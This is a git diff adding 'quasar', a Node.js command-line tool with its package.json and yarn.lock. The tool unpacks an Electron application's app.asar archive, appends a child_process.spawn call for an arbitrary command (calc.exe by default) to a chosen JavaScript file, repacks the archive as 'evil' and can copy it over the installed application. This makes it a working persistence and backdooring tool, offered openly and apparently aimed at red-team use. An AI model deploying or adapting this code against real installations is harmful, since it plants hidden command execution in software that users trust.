diff --git a/index.js b/index.js new file mode 100644 index 0000000..2c8bf55 --- /dev/null +++ b/index.js @@ -0,0 +1,124 @@ +const asar = require("asar"); +const {program} = require("commander"); +const { questionInt } = require("readline-sync"); +const { copyFile, readdir, readFile, writeFile, rename, stat, mkdir } = require("node:fs/promises"); +const {copy, ensureDir} = require("fs-extra"); +const path = require("path"); +const EVIL_DIR = "evil"; + +async function retrieveAsar(asarPath) { + console.log(`[+] Copying asar files...`); + const localAsar = "./" + path.basename(asarPath); + const localAsarUnpacked = localAsar + ".unpacked"; + await copy(asarPath, localAsar); + await copy(`${asarPath}.unpacked`, localAsarUnpacked); +} + +async function findJS(inputFile) { + const contents = asar.listPackage(inputFile); + const jsFiles = contents.filter(f => ( + (f.indexOf(".js") == f.length - 3) + && (f.indexOf(".json") < 0 ) + && (f.indexOf("node_modules") < 0 ) + )); + console.log("[+] Found the following JS files: "); + for (let i=0; i <= jsFiles.length; i++) { + console.log(`${i}: ${jsFiles[i]}`); + } + const patchChoice = questionInt("Which JS File shall we patch? "); + const patchFile = jsFiles[patchChoice]; + console.log(`[+] Okay, patching ${patchFile}`); + return patchFile; +} + +async function unpackedCheck(inputFile) { + return await ensureDir(`${inputFile}.unpacked`); +} + +async function pack(inputFile) { + console.log("[+] Determine excludes"); + // Analyze the unpacked file to determine what to keep out + // of the packed archive + const unpackedPaths = await readdir(`${inputFile}.unpacked`); + let unpackDirs; + if (unpackedPaths.length > 1) { + unpackDirs = "{" + unpackedPaths.join(",") + "}"; + } else { + unpackDirs = unpackedPaths[0]; + } + + console.log(`[+] Excluding ${unpackDirs}`); + console.log(`[+] Creating evil ASAR File: ${inputFile}`); + // process.exit(-1); + await asar.createPackageWithOptions(`.${path.sep}${EVIL_DIR}/${inputFile}.extracted`, `.${path.sep}${EVIL_DIR}/${inputFile}`, {unpackDir: unpackDirs}); +} + +async function mutate(asarFile, jsFile, command) { + console.log(`[+] Adding command ${command}`) + const jsPath = `.${path.sep}${EVIL_DIR}/${asarFile}.extracted${jsFile}`; + let jsText = await readFile(jsPath); + jsText = jsText.toString(); + let cmd = `\nconst tagg = require("child_process");\n` + cmd += `tagg.spawn("${command}");` + await writeFile(jsPath, jsText + cmd); +} + +async function writeEvil(inputFile, newAsarPath) { + console.log("[+] Backing Up asar assets"); + await rename(inputFile, `${inputFile}.bak`); + await rename(`${inputFile}.unpacked`, `${inputFile}.unpacked.bak`); + console.log("[+] Copying Evil"); + await copyFile(`.${path.sep}${EVIL_DIR}/${newAsarPath}`, inputFile); + await copy(`.${path.sep}${EVIL_DIR}/${newAsarPath}.unpacked`, `${inputFile}.unpacked`); +} + +async function unpack(inputFile) { + if (unpackedCheck(inputFile)) { + console.log("[+] Unpacked dir exists"); + } else { + console.log[`[!] Missing ${inputFile}.unpacked directory!`]; + process.exit(-1); + } + console.log("[+] Extracting ASAR"); + asar.extractAll(inputFile, `${EVIL_DIR}/${inputFile}.extracted`); +} + + +async function main() { + + program.option("-i, --input ", "asar file to mutate", "app.asar"); + program.option("-c, --command ", "command to insert", "calc.exe"); + program.option("-w --write ", "write evil files directly to application dir"); + + program.parse(process.argv); + + const options = program.opts(); + + // Make evil dir + try { + await stat(EVIL_DIR) + } catch (error) { + await mkdir(EVIL_DIR); + } + + let newAsarPath = options.input; + // Copy asar if it's not local to the dir + if (path.basename(options.input) != options.input) { + await retrieveAsar(options.input); + newAsarPath = path.basename(options.input); + } + const patchFile = await findJS(newAsarPath); + await unpack(newAsarPath); + await mutate(newAsarPath, patchFile, options.command); + await pack(newAsarPath); + + if (options.write) { + await writeEvil(options.input, newAsarPath); + console.log("[+] Evil assets copied over. Don't forget to restore the originals!"); + } else { + console.log("[+] Done! Move the new app.asar and app.asar.unpacked into place"); + } + +} + +main(); diff --git a/package.json b/package.json new file mode 100644 index 0000000..54673a0 --- /dev/null +++ b/package.json @@ -0,0 +1,15 @@ +{ + "name": "quasar", + "version": "0.1.0", + "description": "ASAR manipulation made easy", + "main": "index.js", + "repository": "git@github.com:mttaggart/quasar.git", + "author": "Michael Taggart ", + "license": "MIT", + "dependencies": { + "asar": "^3.2.0", + "commander": "^9.4.0", + "fs-extra": "^10.1.0", + "readline-sync": "^1.4.10" + } +} diff --git a/yarn.lock b/yarn.lock new file mode 100644 index 0000000..56b11a9 --- /dev/null +++ b/yarn.lock @@ -0,0 +1,153 @@ +# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. +# yarn lockfile v1 + + +"@types/glob@^7.1.1": + version "7.2.0" + resolved "https://registry.yarnpkg.com/@types/glob/-/glob-7.2.0.tgz#bc1b5bf3aa92f25bd5dd39f35c57361bdce5b2eb" + integrity sha512-ZUxbzKl0IfJILTS6t7ip5fQQM/J3TJYubDm3nMbgubNNYS62eXeUpoLUC8/7fJNiFYHTrGPQn7hspDUzIHX3UA== + dependencies: + "@types/minimatch" "*" + "@types/node" "*" + +"@types/minimatch@*": + version "5.1.2" + resolved "https://registry.yarnpkg.com/@types/minimatch/-/minimatch-5.1.2.tgz#07508b45797cb81ec3f273011b054cd0755eddca" + integrity sha512-K0VQKziLUWkVKiRVrx4a40iPaxTUefQmjtkQofBkYRcoaaL/8rhwDWww9qWbrgicNOgnpIsMxyNIUM4+n6dUIA== + +"@types/node@*": + version "18.7.15" + resolved "https://registry.yarnpkg.com/@types/node/-/node-18.7.15.tgz#20ae1ec80c57ee844b469f968a1cd511d4088b29" + integrity sha512-XnjpaI8Bgc3eBag2Aw4t2Uj/49lLBSStHWfqKvIuXD7FIrZyMLWp8KuAFHAqxMZYTF9l08N1ctUn9YNybZJVmQ== + +asar@^3.2.0: + version "3.2.0" + resolved "https://registry.yarnpkg.com/asar/-/asar-3.2.0.tgz#e6edb5edd6f627ebef04db62f771c61bea9c1221" + integrity sha512-COdw2ZQvKdFGFxXwX3oYh2/sOsJWJegrdJCGxnN4MZ7IULgRBp9P6665aqj9z1v9VwP4oP1hRBojRDQ//IGgAg== + dependencies: + chromium-pickle-js "^0.2.0" + commander "^5.0.0" + glob "^7.1.6" + minimatch "^3.0.4" + optionalDependencies: + "@types/glob" "^7.1.1" + +balanced-match@^1.0.0: + version "1.0.2" + resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee" + integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw== + +brace-expansion@^1.1.7: + version "1.1.11" + resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd" + integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA== + dependencies: + balanced-match "^1.0.0" + concat-map "0.0.1" + +chromium-pickle-js@^0.2.0: + version "0.2.0" + resolved "https://registry.yarnpkg.com/chromium-pickle-js/-/chromium-pickle-js-0.2.0.tgz#04a106672c18b085ab774d983dfa3ea138f22205" + integrity sha512-1R5Fho+jBq0DDydt+/vHWj5KJNJCKdARKOCwZUen84I5BreWoLqRLANH1U87eJy1tiASPtMnGqJJq0ZsLoRPOw== + +commander@^5.0.0: + version "5.1.0" + resolved "https://registry.yarnpkg.com/commander/-/commander-5.1.0.tgz#46abbd1652f8e059bddaef99bbdcb2ad9cf179ae" + integrity sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg== + +commander@^9.4.0: + version "9.4.0" + resolved "https://registry.yarnpkg.com/commander/-/commander-9.4.0.tgz#bc4a40918fefe52e22450c111ecd6b7acce6f11c" + integrity sha512-sRPT+umqkz90UA8M1yqYfnHlZA7fF6nSphDtxeywPZ49ysjxDQybzk13CL+mXekDRG92skbcqCLVovuCusNmFw== + +concat-map@0.0.1: + version "0.0.1" + resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b" + integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg== + +fs-extra@^10.1.0: + version "10.1.0" + resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-10.1.0.tgz#02873cfbc4084dde127eaa5f9905eef2325d1abf" + integrity sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ== + dependencies: + graceful-fs "^4.2.0" + jsonfile "^6.0.1" + universalify "^2.0.0" + +fs.realpath@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f" + integrity sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw== + +glob@^7.1.6: + version "7.2.3" + resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b" + integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q== + dependencies: + fs.realpath "^1.0.0" + inflight "^1.0.4" + inherits "2" + minimatch "^3.1.1" + once "^1.3.0" + path-is-absolute "^1.0.0" + +graceful-fs@^4.1.6, graceful-fs@^4.2.0: + version "4.2.10" + resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.10.tgz#147d3a006da4ca3ce14728c7aefc287c367d7a6c" + integrity sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA== + +inflight@^1.0.4: + version "1.0.6" + resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9" + integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA== + dependencies: + once "^1.3.0" + wrappy "1" + +inherits@2: + version "2.0.4" + resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c" + integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ== + +jsonfile@^6.0.1: + version "6.1.0" + resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-6.1.0.tgz#bc55b2634793c679ec6403094eb13698a6ec0aae" + integrity sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ== + dependencies: + universalify "^2.0.0" + optionalDependencies: + graceful-fs "^4.1.6" + +minimatch@^3.0.4, minimatch@^3.1.1: + version "3.1.2" + resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b" + integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw== + dependencies: + brace-expansion "^1.1.7" + +once@^1.3.0: + version "1.4.0" + resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1" + integrity sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w== + dependencies: + wrappy "1" + +path-is-absolute@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f" + integrity sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg== + +readline-sync@^1.4.10: + version "1.4.10" + resolved "https://registry.yarnpkg.com/readline-sync/-/readline-sync-1.4.10.tgz#41df7fbb4b6312d673011594145705bf56d8873b" + integrity sha512-gNva8/6UAe8QYepIQH/jQ2qn91Qj0B9sYjMBBs3QOB8F2CXcKgLxQaJRP76sWVRQt+QU+8fAkCbCvjjMFu7Ycw== + +universalify@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/universalify/-/universalify-2.0.0.tgz#75a4984efedc4b08975c5aeb73f530d02df25717" + integrity sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ== + +wrappy@1: + version "1.0.2" + resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f" + integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==